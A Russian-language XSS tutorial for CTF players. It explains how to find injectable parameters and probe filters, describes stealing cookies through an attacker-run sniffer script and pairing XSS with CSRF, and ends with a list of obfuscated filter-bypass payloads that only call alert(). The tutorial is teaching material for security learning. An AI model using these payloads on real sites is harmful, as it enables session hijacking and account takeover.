XSS

Cross Site Scripting β€” Ρ‚ΠΈΠΏ Π°Ρ‚Π°ΠΊΠΈ Π½Π° Π²Π΅Π±-систСмы, Π·Π°ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‰ΠΈΠΉΡΡ Π²ΠΎ Π²Π½Π΅Π΄Ρ€Π΅Π½ΠΈΠΈ Π² Π²Ρ‹Π΄Π°Π²Π°Π΅ΠΌΡƒΡŽ Π²Π΅Π±-систСмой страницу врСдоносного ΠΊΠΎΠ΄Π° (ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ Π½Π° ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ ΠΏΡ€ΠΈ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΠΈΠΈ ΠΈΠΌ этой страницы) ΠΈ взаимодСйствии этого ΠΊΠΎΠ΄Π° с Π²Π΅Π±-сСрвСром Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΠ°.

НахоТдСниС XSS

Π Π°Π·Π΄Π΅Π»ΠΈΠΌ Π½Π°Ρ…ΠΎΠΆΠ΄Π΅Π½ΠΈΠ΅ Π½Π° нСсколько ΠΏΡƒΠ½ΠΊΡ‚ΠΎΠ²

Поиск ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² Для нахоТдСния ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² ΠΌΠΎΠΆΠ½ΠΎ Π»ΠΈΠ±ΠΎ Π²ΠΎΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΊΠΎΠΉ, встроСнной Π² BurpSuite, Π»ΠΈΠ±ΠΎ Π½Π°ΠΉΡ‚ΠΈ всС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ Π²Ρ€ΡƒΡ‡Π½ΡƒΡŽ сниффСром. Π§Ρ‚ΠΎΠ±Ρ‹ Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ spider'Π°, Π½ΡƒΠΆΠ½ΠΎ ΠΏΡ€Π°Π²ΠΎΠΉ ΠΊΠ½ΠΎΠΏΠΊΠΎΠΉ ΠΏΠΎ Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΠΈ -> Spider this host

Π’ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ входят Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ POST/GET ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Ρ‚ΠΈΠΏΡ‹ запросов! Π’ΠΎΡ‚ ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π³Π΄Π΅ xss появляСтся ΠΈΠ·-Π·Π° Π²Ρ‹Π²ΠΎΠ΄Π° url (Ρ‡Π°Ρ‰Π΅ всСго Π½Π° 404 страницах) Π² bWAPP:

ΠŸΠΎΠ΄ΡΡ‚Π°Π½ΠΎΠ²ΠΊΠ° Для ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² ΠΏΠ΅Ρ€Π²ΠΎΠ½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎ Π½ΡƒΠΆΠ½ΠΎ ΡƒΠ΄ΠΎΡΡ‚ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎ ΠΊΠΎΠ΄ выводится Π½Π° страницС. Π§Ρ‚ΠΎ Π΄Π΅Π»Π°Π΅ΠΌ: Π² ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ вставляСм ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½ΡƒΡŽ строку, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ Π½Π΅Ρ‚ Π½Π° страницС ΠΈ Π΄Π΅Π»Π°Π΅ΠΌ поиск ΠΏΠΎ исходному ΠΊΠΎΠ΄Ρƒ. ΠŸΡ€ΠΈΠΌΠ΅Ρ€:

Бсылка Π½Π° эту страницу:
     /index.php?title=Xss

Π’ΠΈΠ΄ΠΈΠΌ, Ρ‡Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ title (Π½ΠΎ Π½Π΅ Π·Π°Π±Ρ‹Π²Π°ΠΉΡ‚Π΅ ΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ ΠΈ пост ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹) Π’ΠΎΠ³Π΄Π° подставим Π² Π½Π΅Π³ΠΎ строку 'testtesttest'.

Π’ΠΈΠ΄ΠΈΠΌ, Ρ‡Ρ‚ΠΎ наш тСкст вывСлся - записываСм Π΅Π³ΠΎ ΠΊΡƒΠ΄Π°-Π½ΠΈΠ±ΡƒΠ΄ΡŒ ΠΈ повторяСм это дСйствиС с Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°ΠΌΠΈ. Π’ ΠΈΡ‚ΠΎΠ³Π΅ ΠΊ этому ΠΌΠΎΠΌΠ΅Π½Ρ‚Ρƒ Ρƒ нас Π½Π° Ρ€ΡƒΠΊΠ°Ρ… список ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½ΡƒΠΆΠ½ΠΎ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠ°Ρ‚ΡŒ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡ‚ΡŒ дальшС.

Π˜Π·ΡƒΡ‡Π΅Π½ΠΈΠ΅ Ρ„ΠΈΠ»ΡŒΡ‚Ρ€ΠΎΠ² Π’Π΅ΠΏΠ΅Ρ€ΡŒ начинаСтся самоС интСрСсноС! ΠŸΠΎΠ΄ΡΡ‚Π°Π²Π»ΡΠ΅ΠΌ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ строку Π² ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€:

  '":;<>/\[]<script><h1>

И Π΄Π°Π»Π΅Π΅ ΠΈΠ΄Π΅Ρ‚ Ρ€Π°Π·Π΄Π΅Π»Π΅Π½ΠΈΠ΅ Π½Π° Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚:

ΠžΡ‚ΡΡƒΡ‚ΡΡ‚Π²ΠΈΠ΅ Ρ„ΠΈΠ»ΡŒΡ‚Ρ€ΠΎΠ²

Если Ρƒ вас тСкст Ρ‚Π°ΠΊ ΠΈ остался Π½Π΅ΠΈΠ·ΠΌΠ΅Π½Π½Ρ‹ΠΌ, Ρ‚ΠΎ ΠΌΠΎΠΈ поздравлСния - Π’Π« нашли XSS!

Убрался <script> Если Ρƒ вас Π²Π΄Ρ€ΡƒΠ³ исчСз Π’ΠžΠ›Π¬ΠšΠž <script>, Ρ‚ΠΎ вСроятнСС всСго ΠΈΠ΄Π΅Ρ‚ поиск ΠΏΠΎ опасным Ρ‚Π΅Π³Π°ΠΌ - Π½ΠΎ ΠΈ это Π² соврСмСнном ΠΌΠΈΡ€Π΅ обходится. Π’Π΅ΠΏΠ΅Ρ€ΡŒ посмотрим Π²Π½ΠΈΠΌΠ°Ρ‚Π΅Π»ΡŒΠ½Π΅Π΅ - Ссли Ρƒ вас ΠΈΠ· строки ...a'<script>'b... ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠ»Π°ΡΡŒ строка ...ab... Ρ‚ΠΎ Π΄Π΅Π»Π°Π΅ΠΌ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅:

test<scr<script>ipt>test

Π’ ΠΈΡ‚ΠΎΠ³Π΅ Ρƒ нас Π΄ΠΎΠ»ΠΆΠ½Π° ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒΡΡ строка Π²ΠΈΠ΄Π°:

test<script>test

Ну ΠΈ ΠΎΠΏΡΡ‚ΡŒ ΠΆΠ΅ SUCCESS!

Π£Π±Ρ€Π°Π»ΠΈΡΡŒ И <script> И <h1> Π’ этом случаС Ρ‡Π°Ρ‰Π΅ всСго ΠΈΠ΄Π΅Ρ‚ ΠΏΡ€ΠΎΠ³ΠΎΠ½ ΠΏΠΎ всСм извСстным ΠΌΠΈΡ€Ρƒ Ρ‚Π΅Π³Π°ΠΌ - ΠΈ Ρ‚ΡƒΡ‚ ΠΎΠ±ΠΎΠΉΡ‚ΠΈ ΠΌΠΎΠΆΠ½ΠΎ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΡ€ΠΈ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΎΠ±ΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΡΡ‚Π²Π°Ρ… (ΠΎΠ΄Π½ΠΎ ΠΈΠ· Π½ΠΈΡ… Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ Π² ΠΏΡƒΠ½ΠΊΠ΅ 'ΡƒΠ±Ρ€Π°Π»ΠΈΡΡŒ Π·Π½Π°ΠΊΠΈ <>')

Π˜ΡΡ‡Π΅Π·Π»ΠΈ Π·Π½Π°ΠΊΠΈ '<' ΠΈ '>' Π’ΡƒΡ‚ ΡƒΠΆΠ΅ интСрСснСС Ρ‚ΠΊ зависит ΠΎΡ‚ окруТСния.

Π’ <a href='test'> ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΡ… ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°Ρ… Π² ' ΠΈΠ»ΠΈ " ΠΊΠ°Π²Ρ‹Ρ‡ΠΊΠ°Ρ… Π’ΡƒΡ‚ ΠΊ Π½Π°ΠΌ Π½Π° ΠΏΠΎΠΌΠΎΡ‰ΡŒ ΠΏΡ€ΠΈΠ΄ΡƒΡ‚ Ρ‚Π°ΠΊΠΈΠ΅ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹, ΠΊΠ°ΠΊ onload ΠΈΠ»ΠΈ onmouseover. Π§Ρ‚ΠΎ Π±ΡƒΠ΄Π΅Ρ‚, Ссли ΠΎΡ‚ΠΎΡΠ»Π°Ρ‚ΡŒ test' onload='alert()' a='? А Π²ΠΎΡ‚ Ρ‡Ρ‚ΠΎ:

 <a href='test' onload='alert()' a=>

Π’ ΠΈΡ‚ΠΎΠ³Π΅ Ρƒ нас запустится окошко Π°Π»Π΅Ρ€Ρ‚Π°!

Π’ Ρ‚Π΅Π³Π°Ρ… <script>...</script> Π’ΠΊ рассчитываСм, Ρ‡Ρ‚ΠΎ Ρƒ нас Ρ„ΠΈΠ»ΡŒΡ€ΡƒΡŽΡ‚ΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π·Π½Π°ΠΊΠΈ '<' ΠΈ '>', Ρ‚ΠΎ ΠΏΠΎΡ‡Ρ‚ΠΈ любой ΠΊΠΎΠ΄ Π² явС ΠΌΠΎΠΆΠ½ΠΎ ΠΠ°ΠΏΠΈΡΠ°Ρ‚ΡŒ Π±Π΅Π· Π½ΠΈΡ… - Π° Ρ‚Π΅ΠΌ Π±ΠΎΠ»Π΅Π΅ Π”ΠΎΠΏΠΈΡΠ°Ρ‚ΡŒ. Π’ΠΎΠ·ΡŒΠΌΠ΅ΠΌ Π² ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ΄:

<script>
       var a = 'text';
</script>

А Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ смотрим, Ρ‡Ρ‚ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΈ подстановкС test1'; alert(); var b = 'test2 :

<script>
        var a = 'text';
        alert();
        var b = 'test2';
</script>

Π’ ΠΈΡ‚ΠΎΠ³Π΅ наш ΠΊΠΎΠ΄ Π·Π°Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚, ΠΈ ΠΏΡ€ΠΈ достиТСнии Π²Ρ‚ΠΎΡ€ΠΎΠΉ строки скрипта появится окошко Π°Π»Π΅Ρ€Ρ‚Π°! P.S.Π’ΠΠ–ΠΠž!!! Если Π²Ρ‹ ΠΎΡˆΠΈΠ±Π΅Ρ‚Π΅ΡΡŒ Π² синтаксисС js, Ρ‚ΠΎ ваш ΠΊΠΎΠ΄ скорСС всСго Π½Π΅ Π·Π°Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚. ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ ΡΠΎΠ²Π΅Ρ‚ΡƒΡŽ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡ‚ΡŒ всС Π² консоли.

Π‘ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ символов ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π»ΠΈΡΡŒ Π² &g t ; &l t ; ΠΈ Π΄Ρ€ Π’ этом случаС вся пСрСмСнная обрабатываСтся PHP (Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΈΠ· Π΄Ρ€ΡƒΠ³ΠΈΡ… яп) Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ ΠΏΠΎΠ΄ Π½Π°Π·Π²Π°Π½ΠΈΠ΅ΠΌ htmlspecialchars. ΠŸΡ€ΠΎ Π½Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ написано Ρ‚ΡƒΡ‚: http://php.net/manual/ru/function.htmlspecialchars.php А Π²ΠΎΡ‚ ΠΈ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π΅Π΅ использования (взято с google.com):

Π’ этом случаС Π·Π°Ρ‰ΠΈΡ‚Ρƒ, ΡƒΠ²Ρ‹, ΠΏΠΎΠΊΠ° Π½ΠΈΠΊΠ°ΠΊ Π½Π΅ ΠΎΠ±ΠΎΠΉΡ‚ΠΈ... ΠΏΠΎΠΊΠ°...

Эксплуатация XSS

Ну нашли ΠΌΡ‹ XSS - ΠΈ Ρ‡Ρ‚ΠΎ это Π½Π°ΠΌ Π΄Π°Π»ΠΎ? Π’ этом ΠΏΡƒΠ½ΠΊΡ‚Π΅ я ΠΏΡ€ΠΈΠ²Π΅Π΄Ρƒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ (скорСС всСго ΠΈΡ… большС) эксплуатации XSS.

ΠšΡ€Π°ΠΆΠ° cookies Ну самоС извСстноС - это ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎ ΠΊΡ€Π°ΠΆΠ° Ρ‡ΡƒΠΆΠΈΡ… ΠΊΡƒΠΊΠΈ, с ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ Π·Π°ΠΌΠ΅Π½ΠΎΠΉ свои ΠΊΡƒΠΊΠΈ Π½Π° ΠΊΡƒΠΊΠΈ ΠΆΠ΅Ρ€Ρ‚Π²Ρ‹ ΠΈ Π·Π°Ρ…ΠΎΠ΄Π° Π² Π°ΠΊΠΊΠ°ΡƒΠ½Ρ‚. Π§Ρ‚ΠΎ трСбуСтся для этого

  • Π‘Π½ΠΈΡ„Ρ„Π΅Ρ€

  • ΠšΠΎΠ½Ρ‚Π°ΠΊΡ‚ с ΠΆΠ΅Ρ€Ρ‚Π²ΠΎΠΉ

  • XSS

Начну с описания сниффСра

Π‘Π½ΠΈΡ„Ρ„Π΅Ρ€ Обьясню доступным языком. CΠ½ΠΈΡ„Ρ„Π΅Ρ€ (Π² Π΄Π°Π½Π½ΠΎΠΌ случаС) - скрипт, записыващий всС обращСния ΠΊ Π½Π΅ΠΌΡƒ (Π² Ρ‚ΠΎΠΌ числС ΠΈ ΠΏΠΎΠ»Ρ‹ΠΉ url). НапримСр Ρƒ нас Π΅ΡΡ‚ΡŒ Π½Π° ΠΊΠ°ΠΊΠΎΠΌ Ρ‚ΠΎ сСрвСрС Ρ„Π°ΠΉΠ» site.ru/sniffer.php , (ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΊΠΎΠ΄Π° ΠΏΠΎΠ·ΠΆΠ΅) ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ записываСт всС обращСния ΠΊ Π½Π΅ΠΌΡƒ.

Π’ΠΎΡ‚ я зашСл Π½Π° site.ru/sniffer.php?testtesttest - ΠΈ Ρƒ Π½Π΅Π³ΠΎ Π² Π»ΠΎΠ³Π°Ρ… записалось

1) ip
2) useragent
3) testtesttest

, Π³Π΄Π΅ testtesttest - Ρ‡Π°Ρ‰Π΅ всСго ΠΊΡƒΠΊΠΈ приписанныС. А Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ обьясняю ΠΏΠΎΡ‡Π΅ΠΌΡƒ Π½Π° этот список стоит ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚ΡŒ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ - ΠΌΠ½ΠΎΠ³ΠΈΠ΅ задания с этим связаны Π½Π° тасковых ctf. РаспространСнныС задания:

Π•ΡΡ‚ΡŒ Ρ‡Π°Ρ‚ΠΎΠ±ΠΎΡ‚ (Ρ‚Π°ΠΊΠΈΡ… часто Π² Π²ΠΊ Π²ΡΡ‚Ρ€Π΅Ρ‚ΠΈΡˆΡŒ) - ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Ρ‡ΠΈΡ‚Π°Π΅Ρ‚ всС сообщСния.
Π§ΠΈΡ‚Π°Π΅Ρ‚ ΠΎΠ½ ΠΈΡ… ΠΊΠ°ΠΊ ΠΎΠ±Ρ‹ΠΊΠ½ΠΎΠ²Π΅Π½Π½Ρ‹ΠΉ Ρ‡Π΅Π»ΠΎΠ²Π΅ΠΊ - ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°Π΅Ρ‚ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅,ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‰Π΅ΠΌ javascript.  
НуТно Ρƒ Π½Π΅Π³ΠΎ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΊΠ°ΠΊΠΎΠΉ-Ρ‚ΠΎ ΠΈΠ· ΠΏΡƒΠ½ΠΊΡ‚ΠΎΠ² (ip, useragent ΠΈ(ΠΈΠ»ΠΈ) ΠΊΡƒΠΊΠΈ(Ρ‡Π°Ρ‰Π΅ всСго!))

Как ΠΎΠ½ΠΈ проходятся:

ΠžΠ±Ρ…ΠΎΠ΄ΠΈΠΌ Π·Π°Ρ‰ΠΈΡ‚Ρƒ xss (ΠΏΡ€ΠΈ Π΅Π΅ Π½Π°Π»ΠΈΡ‡ΠΈΠΈ).
ΠŸΠΎΡΡ‹Π»Π°Π΅ΠΌ Π±ΠΎΡ‚Π° Π½Π° наш сниффСр.
ΠŸΠΎΠ»ΡƒΡ‡Π°Π΅ΠΌ всС Π½ΡƒΠΆΠ½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ со сниффСра.

ВсС это врСмя ΠΌΡ‹ Ρ€Π°Π·Π±ΠΈΡ€Π°Π»ΠΈ Ρ…Ρ€Π°Π½ΠΈΠΌΡ‹Π΅ XSS (ΠΊΠΎΠ³Π΄Π° xss сохраняСтся Π½Π° сСрвСрС). Π’ΠΎΡ‚ Π²Π°ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ задания Π½Π° НЕ Ρ…Ρ€Π°Π½ΠΈΠΌΡƒΡŽ (ΠΊΠΎΠ³Π΄Π° xss привязываСтся ΠΊ url):

Π•ΡΡ‚ΡŒ скрипт, ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ всС ссылки,ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΅ΠΌΡƒ ΠΏΠ΅Ρ€Π΅Π΄Π°Π»ΠΈ.
Π§ΠΈΡ‚Π°Π΅Ρ‚ ΠΎΠ½ ΠΈΡ… ΠΊΠ°ΠΊ ΠΎΠ±Ρ‹ΠΊΠ½ΠΎΠ²Π΅Π½Π½Ρ‹ΠΉ Ρ‡Π΅Π»ΠΎΠ²Π΅ΠΊ - ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°Π΅Ρ‚ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅,ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‰Π΅ΠΌ javascript.  
НуТно Ρƒ Π½Π΅Π³ΠΎ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΊΠ°ΠΊΠΎΠΉ-Ρ‚ΠΎ ΠΈΠ· ΠΏΡƒΠ½ΠΊΡ‚ΠΎΠ² (ip, useragent ΠΈ(ΠΈΠ»ΠΈ) ΠΊΡƒΠΊΠΈ(Ρ‡Π°Ρ‰Π΅ всСго!))

РСшСниС Ρ‚Π°ΠΊΠΎΠ΅ - ΠΆΠ΅.

CSRF+XSS ΠžΠΏΡΡ‚ΡŒ ΠΆΠ΅ Π²ΠΊΡ€Π°Ρ‚Ρ†Π΅ - выполняСт Π·Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ дСйствия, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ врят Π»ΠΈ Π±Ρ‹ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΠ» Π² Π·Π΄Ρ€Π°Π²ΠΎΠΌ ΡƒΠΌΠ΅ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ администратором ΠΊΠΎΠ³ΠΎ-Ρ‚ΠΎ). Π’ΡƒΡ‚ ΠΊΡ€ΠΎΠΌΠ΅ XSS, Π΅Ρ‰Π΅ ΠΈ трСбуСтся CSRF ΡƒΡΠ·Π²ΠΈΠΌΠΎΡΡ‚ΡŒ - ΠΏΡ€ΠΎ Π½Π΅Π΅ ΠΏΠΎΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Ρƒ нас Π² Π΄Ρ€ΡƒΠ³ΠΎΠΌ Ρ€Π°Π·Π΄Π΅Π»Π΅.

ΠžΠΏΡΡ‚ΡŒ ΠΏΡ€ΠΈΠΌΠ΅Ρ€:

Π•ΡΡ‚ΡŒ Ρ‡Π°Ρ‚ΠΎΠ±ΠΎΡ‚ (Ρ‚Π°ΠΊΠΈΡ… часто Π² Π²ΠΊ Π²ΡΡ‚Ρ€Π΅Ρ‚ΠΈΡˆΡŒ) - ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Ρ‡ΠΈΡ‚Π°Π΅Ρ‚ всС сообщСния.
Π§ΠΈΡ‚Π°Π΅Ρ‚ ΠΎΠ½ ΠΈΡ… ΠΊΠ°ΠΊ ΠΎΠ±Ρ‹ΠΊΠ½ΠΎΠ²Π΅Π½Π½Ρ‹ΠΉ Ρ‡Π΅Π»ΠΎΠ²Π΅ΠΊ - ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°Π΅Ρ‚ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅, ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‰Π΅ΠΌ javascript.  
НуТно Ρƒ Π½Π΅Π³ΠΎ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ Ρ„Π»Π°Π³, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΡ€ΠΈ post запросС ΠΏΡ€ΠΈ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π½Π°ΠΆΠ°Ρ‚ΠΈΠΈ Π½Π° ΠΊΠ°ΠΊΡƒΡŽ-Π»ΠΈΠ±ΠΎ ΠΊΠ½ΠΎΠΏΠΊΡƒ.

РСшСниС:

РаскручиваСм XSS
ПишСм XSS скрипт, ΠΎΡ‚ΡΡ‹Π»Π°ΡŽΡ‰ΠΈΠΉ Π½ΡƒΠΆΠ½Ρ‹ΠΉ Π½Π°ΠΌ запрос ΠΎΡ‚ Π»ΠΈΡ†Π° ΠΆΠ΅Ρ€Ρ‚Π²Ρ‹.
ΠŸΠΎΠ»ΡƒΡ‡Π°Π΅ΠΌ Ρ„Π»Π°Π³ ΠΈ Π½ΠΈΡˆΡ‚ΡΠΊΠΈ=)

ЧастныС случаи ΠΎΠ±Ρ…ΠΎΠ΄Π° Ρ„ΠΈΠ»ΡŒΡ‚Ρ€ΠΎΠ²

ВынСс Π² ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΡƒΡŽ Ρ‡Π°ΡΡ‚ΡŒ Ρ‚ΠΊ xss ΠΏΠΎ большСй части ΠΎΡ‚ ΠΎΠ±Ρ…ΠΎΠ΄Π° Ρ„ΠΈΠ»ΡŒΡ‚Ρ€Π°Ρ†ΠΈΠΈ ΠΈ зависит(ΠΎΠ½Π° ΠΈ являСтся ΠΎΠ±Ρ…ΠΎΠ΄ΠΎΠΌ Ρ„ΠΈΠ»ΡŒΡ‚Ρ€ΠΎΠ²:) (ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ собрал с Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… сайтов - Π² Ρ€Π°Π·Π΄Π΅Π»Π΅ статСй ΠΈΡ… Π½Π°ΠΏΠΈΡˆΡƒ)

alert(String.fromCharCode(120,97,107,110,101,116,46,114,117))
alert(unescape(/%78%61%6b%6e%65%74%2e%72%75/.source))
<IMG SRC=&!#106;&!#97;&!#118;&!#97;&!#115;&!#99;&!#114;&!#105;&!#112;&!#116;&!#58;&!#97;&!#108;&!#101;&!#114;&!#116;&!#40;&!#39;&!#120;&!#97;&!#107;&!#110;&!#101;&!#116;&!#46;&!#114;&!#117;&!#39;&!#41;>
<IMG SRC=&!#0000106a&!#0000118&!#0000097&!#0000115&!#0000099&!#0000114&!#0000105&!#0000112&!#0000116&!#0000058&!#0000097&!#0000108&!#0000101&!#0000114&!#0000116&!#0000040&!#0000039&!#0000120&!#000097&!#0000107&!#0000110&!#0000101&!#0000116&!#0000046&!#0000114&!#0000117&!#0000039&!#0000041>
<IMG SRC="Ja    va    sc    ri    pt    :    al    er    t(    'me    ssa    ge'    )">
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgneGFrbmV0LnJ1Jyk8L3NjcmlwdD4=">

ΠžΠ±Ρ…ΠΎΠ΄ ΠΏΡƒΡ‚Π΅ΠΌ Π΄Π²ΠΎΠΉΠ½ΠΎΠ³ΠΎ urlencode (bWAPP):

%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%29%3c%2f%73%63%72%69%70%74%3e

"Π’ качСствС обфускации Π²Π΅ΠΊΡ‚ΠΎΡ€Π°, ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ActionScript Ρ‡Π΅Ρ€Π΅Π· Flash, ΠΏΡƒΡ‚Ρ‘ΠΌ использования ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ… ΠΈ присваивания ΠΈΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΡΠ²Π»ΡΡŽΡ‚ΡΡ частями xss-ΠΊΠΎΠ΄Π°."

a="get";
b="URL(\"";
c="javascript:";
d="alert('message');\")";
eval(a+b+c+d);

